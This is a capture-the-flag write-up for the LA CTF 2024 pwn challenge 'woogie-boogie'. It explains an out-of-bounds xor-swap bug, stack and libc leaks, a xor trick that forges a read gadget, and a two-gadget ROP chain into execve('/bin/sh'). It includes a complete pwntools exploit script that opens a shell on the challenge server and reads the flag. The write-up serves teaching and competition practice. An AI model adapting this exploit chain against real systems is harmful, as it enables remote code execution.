woogie-boogie

by 0x6fe1be2 / WE_0WN_Y0U

Tags: glibc pwn xor rop

Rating:

Author: 0x6fe1be2

Version 21-02-24

LA CTF 2024 (17.02-19.02)

woogie-boogie

Status: solved (WE_0WN_Y0U)

Category: PWN

Points: 499 (3 Solves)

TL;DR

woogie-boogie is a dynamic non-stripped binary pwn challenge that exploits a xor swap with an OOB vulnerability, similar to boogie-woogie from dice ctf 2024.

First we use the OOB vulnerability to leak ASLR values and loop back to `_start`, we then use some xor magic to change the LSB byte of an old stack ptr to create a write gadget and ROP with a two gadget to get RCE and leak the flag (exploit at the end).

There were only 3 solves during the CTF with at least 2 of them being unintended solutions (including mine). The Official Writeup exploits line buffering instead and is a worthwhile read.

Intro

woogie-boogie is a (hard) pwn challenge from LA CTF 2024.

Description:

> i haven't been watching too much jjk
>
> ```
> nc chall.lac.tf 31166
> ```
>
> Downloads *Dockerfile woogie-boogie run*

The challenge seems to consist of two binaries *run* and *woogie-boogie*. The *run* binary can be ignored for my exploit and won't be looked at in detail, in a nutshell it just calls the main binary *woogie-boogie*.

We also have a Dockerfile which we can use to gather important information:

Dockerfile

```
FROM pwn.red/jail

# ubuntu:focal
COPY --from=ubuntu@sha256:f2034e7195f61334e6caff6ecf2e965f92d11e888309065da85ff50c617732b8 / /srv
COPY woogie-boogie /srv/app/woogie-boogie
```

```
COPY flag.txt /srv/app/flag.txt
COPY run /srv/app/run
RUN chmod 755 /srv/app/run

ENV JAIL_MEM=20M JAIL_TIME=120 JAIL_PIDS=50
```

Don't be confused by `pwn.red/jail`, it's a simply sandbox environment using nsjail (also sadly doesn't work on my rootless docker). The important image to look at is the `COPY --from` target, which seems to be `ubuntu:focal`. Using this information we can get the GLIBC version: `Ubuntu GLIBC 2.31-0ubuntu9.14`, and create a proper execution environment using vagd `vagd template ./woogie-boogie chall.lac.tf 31166` and changing the image.

```
...
-       vm = Dogd(exe.path, image=Box.DOCKER_JAMMY, ex=True, fast=True)  # Docker
+       vm = Dogd(exe.path, image=Box.DOCKER_FOCAL, ex=True, fast=True)  # Docker
...
```

We can also use `vagd info` to get checksec information and binary comments.

vagd info ./woogie-boogie

```
[*] './woogie-boogie'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
```

As we can see all binary protection features are enabled. Also we basically confirm again that the image is `ubuntu:focal`.

> Note: Even shadow stack is enabled, but neither my CPU (or the remote) support it so no need to worry ... yet (^_^").
> `readelf -n ./woogie-boogie | grep -a SHSTK`

Reverse Engineering

Luckily the binary is non-stripped and dynamic which should make reversing a lot easier, lets look at the decompiled code

```
undefined8 main(void) {
  long woogie;
  long boogie;
  char buffer [8];
  char zwi;

  setvbuf(stdout,(char *)0x0,1,0);
                    /* get relative long offsets from buffer and swap them */
  while( true ) {
    write(1,"woogie: ",8);
    woogie = readint();
    write(1,"boogie: ",8);
    boogie = readint();
    if ((woogie == 0) && (boogie == 0)) break;
                    /* always 8 byte aligned */
    swap(buffer + woogie * 8,buffer + boogie * 8);
  }
                    /* reverse (big endian) */
  for (int i = 0; i < 4; i = i + 1) {
    zwi = buffer[i];
    buffer[i] = buffer[7 - (long)i];
    buffer[7 - (long)i] = zwi;
  }
```

```
                    /* print value in buffer */
  fwrite(buffer,1,8,stdout);
  fflush(stdout);
  write(1,"\n",1);
  return 0;
}
```

the basic execution flow seems rather simple, take two long offsets from `char buffer[8]` from user using `readint()` and then `swap()` them (using xor). If both provided offsets equal 0 the loop is exited, afterwards the byte order of the buffer is reversed and printed. Normally because the GLIBC `FILE` struct allows some shenanigans this would be the obvious attack vector (and is used in the official writeup), but this won't be needed for this exploit.

Vulnerability

If we look at the code provided above there is an obvious vulnerability, the offsets read from `readint()` and used for `swap()` are never validated therefore giving us unlimited relative stack access to stack, which we can e.g. use to change the RET address and build a ROP chain:

```
...

BASE = 0 # default base
# calculate values for woogie_boogie using BASE (of buffer) and target
def base_diff(a, base=None):
  if base is None:
    base = BASE
  diff = a - base
  assert diff % 8 == 0, "unaligned diff"
  return diff // 8

def woogie_boogie(a, b):
  sla("woogie: ", a)
  sla("boogie: ", b)

def leaker():
  woogie_boogie(0, 0) # end main loop
  return rl()[:-1] # get leak from buffer

# important offsets
BASE = 0x7fffffffed10
START_REF = base_diff(0x7fffffffede8) # 27
ROP = base_diff(0x7fffffffed38) # 5

t = get_target()
woogie_boogie(0, START_REF) # swap a stack reference to the _start function with our buffer
woogie_boogie(0, ROP) # swap the RET address of the main function with our buffer (to loop back to mai
n)
leak = leaker() # leak the inital RET addrress (__libc_start_main+243)
lhex(leak, '__libc_start_main+243: ')
# new prompt for woogie:
it() # t.interactive()
```

> Note: functions like `rl()` and `sla()` are simple aliases for `t.recvline()` and `t.sendlineafter()`, a full list can be seen using `vagd template` or looking at the exploit at the end

Leaks

Looping back to main allows us to create multiple leaks, so we additionally leak the value of STACK:

```
# leak stack
STACK_LEAK = base_diff(0x7fffffffec68, 0x7fffffffec30) # 11

woogie_boogie(START_REF, ROP)
```

```
woogie_boogie(0, STACK_LEAK)
leak = u64(leaker(), endian='big')
STACK = leak
lhex(STACK, "stack: ") # 0x7fffffffed48
```

we could also leak offsets like PIE or HEAP, but they won't be needed for the exploit. Even the stack leak is only used to make the exploit more reliable.

> Note: it should be possible to make this exploit completely leak less, but this would make it a lot more brute force and luck reliant, so not today (^_^)

Swap *(Insanity)*

Let's take a closer look at the swap function because this is were the OOB vulnerability happens:

```
                    undefined __stdcall swap(undefined8 a, undefined8 b)
                    ;; prolog
0010129a f3 0f 1e fa    ENDBR64
0010129e 55             PUSH       RBP
0010129f 48 89 e5       MOV        RBP,RSP
                    ;; save a and b to stack
001012a2 48 89 7d f8    MOV        qword ptr [RBP + a_stack],a
001012a6 48 89 75 f0    MOV        qword ptr [RBP + b_stack],b
                    ;; *a=*a^*b
001012aa 48 8b 45 f8    MOV        RAX,qword ptr [RBP + a_stack]
001012ae 48 8b 10       MOV        RDX,qword ptr [RAX]
001012b1 48 8b 45 f0    MOV        RAX,qword ptr [RBP + b_stack]
001012b5 48 8b 00       MOV        RAX,qword ptr [RAX]
001012b8 48 31 c2       XOR        RDX,RAX
001012bb 48 8b 45 f8    MOV        RAX,qword ptr [RBP + a_stack]
001012bf 48 89 10       MOV        qword ptr [RAX],RDX
                    ;; *b=*a^*b
001012c2 48 8b 45 f0    MOV        RAX,qword ptr [RBP + b_stack]
001012c6 48 8b 10       MOV        RDX,qword ptr [RAX]
001012c9 48 8b 45 f8    MOV        RAX,qword ptr [RBP + a_stack]
001012cd 48 8b 00       MOV        RAX,qword ptr [RAX]
001012d0 48 31 c2       XOR        RDX,RAX
001012d3 48 8b 45 f0    MOV        RAX,qword ptr [RBP + b_stack]
001012d7 48 89 10       MOV        qword ptr [RAX],RDX
                    ;; *a=*a^*b
001012da 48 8b 45 f8    MOV        RAX,qword ptr [RBP + a_stack]
001012de 48 8b 10       MOV        RDX,qword ptr [RAX]
001012e1 48 8b 45 f0    MOV        RAX,qword ptr [RBP + b_stack]
001012e5 48 8b 00       MOV        RAX,qword ptr [RAX]
001012e8 48 31 c2       XOR        RDX,RAX
001012eb 48 8b 45 f8    MOV        RAX,qword ptr [RBP + a_stack]
001012ef 48 89 10       MOV        qword ptr [RAX],RDX
                    ;; epilog
001012f2 90             NOP
001012f3 5d             POP        RBP
001012f4 c3             RET
```

using swap on ptrs has some interesting edge cases notably if `a == b` the value doesn't get swapped but zeroed out instead (because `*a ^ *a == 0`))

One important quirk of the gcc compiler (if no optimization is specified) is that the parameters `a` and `b` are actually cached in the stack (`a_stack` and `b_stack`) even though this isn't needed at all. But this allows us the create some weird behavior, e.g. what happens if we swap the value of `b_stack` during our swap operations, (so `b != b_stack`).

```
GDB = f"""
b * swap+0x10
"""
```

```
...

# important offsets
BASE = 0x7fffffffe530 # 0
A_STACK = base_diff(0x7fffffffe508) # -5
B_STACK = base_diff(0x7fffffffe500) # -6
WOOGIE_STACK = base_diff(0x7fffffffe538) # 1
BOOGIE_STACK = base_diff(0x7fffffffe540) # 2

t = get_target()
woogie_boogie(0, WOOGIE_STACK) # clear buffer (to 0)
woogie_boogie(0, B_STACK) # weird stuff

it()
```

which basically represents these operations:

```
#include <assert.h>

#define IMMEDIATE 0x20
#define DONOR 0x6fe1be2

void main(){
  long buffer = IMMEDIATE;
  *(long *)((long)&buffer^IMMEDIATE) = DONOR;
  long* b = &buffer;
  long* a = (long*) &b;

  *a = *a^*b;
  // OR b = b^*b
  // OR b = &buffer^IMMEDIATE
  assert((long)b == (long)&buffer^buffer);

  *b = *a^*b;
  // OR *(&buffer^IMMEDIATE) = *(&buffer^IMMEDIATE)^&buffer^IMMEDIATE
  // OR *(&buffer^IMMEDIATE) ^= &buffer^IMMEDIATE
  assert(*(long*)((long)&buffer^IMMEDIATE) == DONOR^(long)&buffer^buffer);

  *a = *a^*b; // ignore

  assert(*(long*)((long)&buffer^IMMEDIATE) == DONOR^(long)&buffer^buffer);
}
```

This is really weird, because by change the value of b during the swap process we can edit values on stack, notably we can xor a value on stack with `&buffer^buffer` and because we can swap values anyway we can xor any value on stack!

But how is this usable? The cool thing about XOR operations is that `a^b^b=a`, so how do we use this to our favor?

first of all, let's look at what happens, if we do it twice:

```
#include <assert.h>

#define IMMEDIATE 0x20
#define DONOR 0x6fe1be2

void main(){
  long buffer = IMMEDIATE;
  *(long *)((long)&buffer^IMMEDIATE) = DONOR;
  long* b = &buffer;
  long* a = (long*) &b;
  /* FIRST */
  *a = *a^*b; // b = b^*b
```

```
  *b = *a^*b; // *(&buffer^IMMEDIATE) ^= &buffer^IMMEDIATE
  *a = *a^*b; // ignore

  b = &buffer;
  a = (long*) &b;
  /* SECOND */
  *a = *a^*b; // b = &buffer^IMMEDIATE
  *b = *a^*b; // *(&buffer^IMMEDIATE) ^= &buffer^IMMEDIATE
  *a = *a^*b; // ignore

  buffer = *(long*)((long)&buffer^IMMEDIATE);
  assert(buffer == DONOR); // restored initial value
}
```

look at that we xor `*(&buffer^buffer)` twice with `&buffer^buffer`, therefore undoing our corruption, but there is more, if we can store user controlled values in `buffer` we can basically xor any value on stack with this user supplied value.

```
#include <assert.h>

#define IMMEDIATE_1 0x20
#define IMMEDIATE_2 0x40
#define DONOR 0x6fe1be2

void main(){
  long buffer = IMMEDIATE_1;
  *(long *)((long)&buffer^IMMEDIATE_1) = DONOR;
  long* b = &buffer;
  long* a = (long*) &b;
  /* FIRST */
  *a = *a^*b; // b = b^*b
  *b = *a^*b; // *(&buffer^IMMEDIATE_1) ^= &buffer^IMMEDIATE_1
  *a = *a^*b; // ignore

  *(long*)((long)&buffer^IMMEDIATE_2) = *(long*)((long)&buffer^IMMEDIATE_1);

  buffer = IMMEDIATE_2;

  b = &buffer;
  a = (long*) &b;
  /* SECOND */
  *a = *a^*b; // b = &buffer^IMMEDIATE_2
  *b = *a^*b; // *(&buffer^IMMEDIATE_2) ^= &buffer^IMMEDIATE_2
  *a = *a^*b; // ignore

  buffer = *(long*)((long)&buffer^IMMEDIATE_2);
  assert(buffer == DONOR^IMMEDIATE_1^IMMEDIATE_2);
}
```

So why is this important? Well we can basically get user controlled byte values from stack, by abusing the immediate saved in `boogie` and `woogie`. We simply swap their values with the offset and supplied immediate:

```
# user controlled byte values in buffer
def create_char(char):
  assert char < 0x100, "char to large"
  woogie_boogie(char, WOOGIE_STACK)
  woogie_boogie(0, char)
```

Sadly this only works if there is enough space allocated on stack, but we can guarantee that by loop main a few times back _start (which allocates 0xe0 bytes per iteration)

```
# allocate
PAD = 0xe0
BASE = STACK - 0x1f8 # base of buffer

linfo("allocate")
ALLOCS = 7
for i in range(ALLOCS):
  print(f'{i}/{ALLOCS}', end='\r')
  woogie_boogie(START_REF, ROP)
  woogie_boogie(0, 0)
  BASE -= PAD
```

> Note: after reading the Official Writeup i realized that using negative offsets probably would have been easier (and wouldn't have required additional allocs).

We now apply all our accumulated knowledge to edit the first byte of any value on stack:

```
DONOR = base_diff(0x7fffffffe318, 0x7fffffffe370) # donor offset
GOAL_ADR = 0x1248
DONOR_ADR = 0x1280 # DONOR

assert (GOAL_ADR ^ DONOR_ADR) < 0x100, "difference larger than one byte"
assert ((GOAL_ADR ^ DONOR_ADR) < 0x7) == 0, "can't change first three bits"

# FIRST
char = GOAL_ADR & 0xff # IMMEDIATE_1
ptr = BASE^char # &buffer^IMMEDIATE_1

up = base_diff(ptr)
lhex(ptr, "up: ")
woogie_boogie(up, DONOR) # # *(&buffer^IMMEDIATE_1) = DONOR
create_char(char) # buffer = IMMEDIATE_1
woogie_boogie(B_STACK, 0) # *(&buffer^IMMEDIATE_1) ^= &buffer^IMMEDIATE_1

# SECOND
xor = (DONOR_ADR & 0xff) # ^ char  ^ (GOAL_ADR & 0xff) # IMMEDIATE_2
xor_ptr = BASE^xor # &buffer^IMMEDIATE_2
xor_up = base_diff(xor_ptr)
woogie_boogie(xor_up, up) # *(&buffer^IMMEDIATE_2) = *(&buffer^IMMEDIATE_1);
create_char(xor) # buffer = IMMEDIATE_2
woogie_boogie(B_STACK, 0) # *(&buffer^IMMEDIATE_2) ^= &buffer^IMMEDIATE_2

woogie_boogie(xor_up, 0)

assert (GOAL_ADR & 0xff) == leaker() & 0xff, "xor magic failed"

cl()
```

ROP

now we only need to find a GADGET and a DONOR that is within one byte of change. Luckily have exactly such a gadget in `readint+0x1f` (`0x101248`), even luckier there is a old `readint+0x57` (`0x101280`) address on stack, that we can use.

read gadget

```
        00101248 ba 10 00        MOV        EDX,0x10
                 00 00
        0010124d 48 89 c6        MOV        RSI,RAX
        00101250 bf 00 00        MOV        EDI,0x0
                 00 00
        00101255 e8 96 fe        CALL       <EXTERNAL>::read
```

> Note: There is also a gadget at `0x101250` that can be used on newer kernels (I use arch btw), basically the third parameters RDX is a ptr, therefore 48 bits, older kernel don't like read calls that can read way to much information (e.g. the REMOTE). Therefore we need to use `0x101248` instead, which only allows 0x10 Bytes (so a TWO GADGET).

so we can edit our exploit

```
# woogie_boogie(xor_up, 0)
# assert (GOAL_ADR & 0xff) == leaker() & 0xff, "xor magic failed"

SWAP_ROP = base_diff(0x7ffffffe518, 0x7ffffffe530)
woogie_boogie(SWAP_ROP, xor_up)
sl(cyclic(0x10))
```

and by sheer luck we get a ROP Chain starting at `aaaa`.

> Note: even if this wasn't the case we could have played around with swap and basically written 0x10 bytes anywhere.

Two Gadget

Now that we have a read gadget that allows a two gadget rop chain we need to find candidates. Of course the first thing we do is check one_gadget and get this promising gadget:

one_gadget

```
...
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL
...
```

`r15` is already NULL, but this isn't true for `rdx` which stores the count for `read()`. Still this is promising and we only need to find a one gadget that allows clearing `rdx`.

clear rdx

```
ROPgadget --binary libc.so.6 | grep "ret$" | grep "sub rdx"
...
0x00000000000ce383 : sub rdx, rax ; jbe 0xce3c0 ; add rax, rdi ; ret
```

Luckily we find this gadget , this is especially useful, because `rax` stores the number of bytes read using `read()` so we only need to ensure that we `read()` the same number of bytes as specified count so 0x10 (which we do anyway).

```
rce = flat(
  LIBC + 0xce383, # clear rdx
  LIBC + 0xe3b01 # one_gadget
)

it() # or t.interactive()
```

an we spawn a shell (might require a few tries, avg. 8)

Flag: `lactf{l1ne_buff3r1ng_1s_s0_us3ful!!}`

Exploit

```
#!/usr/bin/env python
from pwn import *
```

```
GDB_OFF = 0x555555554000
IP = 'chall.lac.tf'
PORT = 31166
BINARY = './woogie-boogie'
ARGS = []
ENV = {}

GDB = f"""
set follow-fork-mode parent

# atol done
# b * readint+0x3d

# call swap
# b * main+0xbb

# b swap

# *b = *a ^ *b
b * swap+0x3d

# swap ret
# b * swap+0x5a

# main ret
# b * main+0x18a

c"""

context.arch = 'amd64'

if not args.REMOTE:
  context.binary = exe = ELF(BINARY, checksec=False)
  libc = ELF('./libc.so.6', checksec=False)

context.aslr = False

byt = lambda x: x if isinstance(x, bytes) else x.encode() if isinstance(x, str) else repr(x).encode()
phex = lambda x, y='': print(y + hex(x))
lhex = lambda x, y='': log.info(y + hex(x))
pad = lambda x, s=8, v=b'\0', o='r': byt(x).ljust(s, v) if o == 'r' else byt(x).rjust(s, v)
padhex = lambda x, s: pad(hex(x)[2:], s, '0', 'l')
upad = lambda x: u64(pad(x))

t = None
gt = lambda at=None: at if at else t
sl = lambda x, t=None: gt(t).sendline(byt(x))
se = lambda x, t=None: gt(t).send(byt(x))
sla = lambda x, y, t=None: gt(t).sendlineafter(byt(x), byt(y))
sa = lambda x, y, t=None: gt(t).sendafter(byt(x), byt(y))
ra = lambda t=None: gt(t).recvall()
rl = lambda t=None: gt(t).recvline()
re = lambda x, t=None: gt(t).recv(x)
ru = lambda x, t=None: gt(t).recvuntil(byt(x))
it = lambda t=None: gt(t).interactive()
cl = lambda t=None: gt(t).close()

linfo = lambda x: log.info(x)

vm = None
def get_target(**kw):
    global vm
```

```
    if args.REMOTE:
        # context.log_level = 'debug'
        return remote(IP, PORT)

    from vagd import Dogd, Qegd, Vagd, Shgd, Box # only load vagd if needed
    if not vm:
        vm = Dogd(exe.path, image=Box.DOCKER_FOCAL, ex=True, fast=True)  # Docker
    if vm.is_new:
        linfo("new vagd instance") # additional setup here
    return vm.start(argv=ARGS, env=ENV, gdbscript=GDB, **kw)

BASE = 0

def base_diff(a, base=None):
  if base is None:
    base = BASE
  diff = a - base
  assert diff % 8 == 0, "unaligned diff"
  return diff // 8

def woogie_boogie(a, b):
  sla("woogie: ", a)
  sla("boogie: ", b)

def leaker():
  woogie_boogie(0, 0)
  return u64(rl()[:-1], endian='big')

t = get_target()

# leak libc
BASE = 0x7fffffffed10
START_REF = base_diff(0x7fffffffede8)
ROP = base_diff(0x7fffffffed38)

woogie_boogie(0, START_REF)
woogie_boogie(0, ROP)
leak = leaker()
LIBC = leak - 0x24083
if not args.REMOTE:
  libc.address = LIBC
lhex(LIBC, "libc: ")

# leak stack
STACK_LEAK = base_diff(0x7fffffffec68, 0x7fffffffec30)

woogie_boogie(START_REF, ROP)
woogie_boogie(0, STACK_LEAK)
leak = leaker()
STACK = leak
lhex(STACK, "stack: ") # 0x7fffffffed48

# allocate (c 8)
PAD = 0xe0
BASE = STACK - 0x1f8

linfo("allocate")
ALLOCS = 7
for i in range(ALLOCS):
  print(f'{i}/{ALLOCS}', end='\r')
  woogie_boogie(START_REF, ROP)
  woogie_boogie(0, 0)
  BASE -= PAD
```

```
# important offsets
BASE = 0x7fffffffe530

SWAP_ROP = base_diff(0x7fffffffe518)
A_STACK = base_diff(0x7fffffffe508)
B_STACK = base_diff(0x7fffffffe500)
WOOGIE_STACK = base_diff(0x7fffffffe538)
BOOGIE_STACK = base_diff(0x7fffffffe540)

def create_char(char):
  assert char < 0x100, "char to large"
  woogie_boogie(char, WOOGIE_STACK)
  woogie_boogie(0, char)

# RCE (c 11)
linfo("woogie boogie")
lhex(BASE, 'base: ')

DONOR = base_diff(0x7fffffffe318, 0x7fffffffe370)
READ_GADGET = 0x1248
DONOR_ADR = 0x1280

char = READ_GADGET & 0xff
ptr = BASE^char

up = base_diff(ptr)
lhex(ptr, "up: ")
woogie_boogie(up, DONOR)
create_char(char)
woogie_boogie(B_STACK, 0)

linfo("create WRITE gadget")
# c 15
# can be shortend but easier to explain like this
xor = char ^ (DONOR_ADR & 0xff) ^ (READ_GADGET & 0xff)
xor_ptr = BASE^xor
xor_up = base_diff(xor_ptr)
woogie_boogie(xor_up, up)
create_char(xor)
woogie_boogie(B_STACK, 0)

# c 19
linfo("start ROP")
woogie_boogie(SWAP_ROP, xor_up)

rce = flat(
  LIBC + 0xce383, # clear rdx
  LIBC + 0xe3b01 # one_gadget
)

linfo("spawn shell")
sl(rce)

if args.REMOTE:
  sleep(1)

linfo("get flag")
sl("echo PWN")
sla("PWN", "cat flag.txt")

it() # or t.interactive()
```

Original writeup (https://www.gfelber.dev/writeups/LA_CTF_2024_woogie-boogie.md).

Comments

© 2012 — 2024 CTFtime team.

Follow @CTFtime

All tasks and writeups are copyrighted by their respective authors. Privacy Policy.
Hosting provided by Transdata.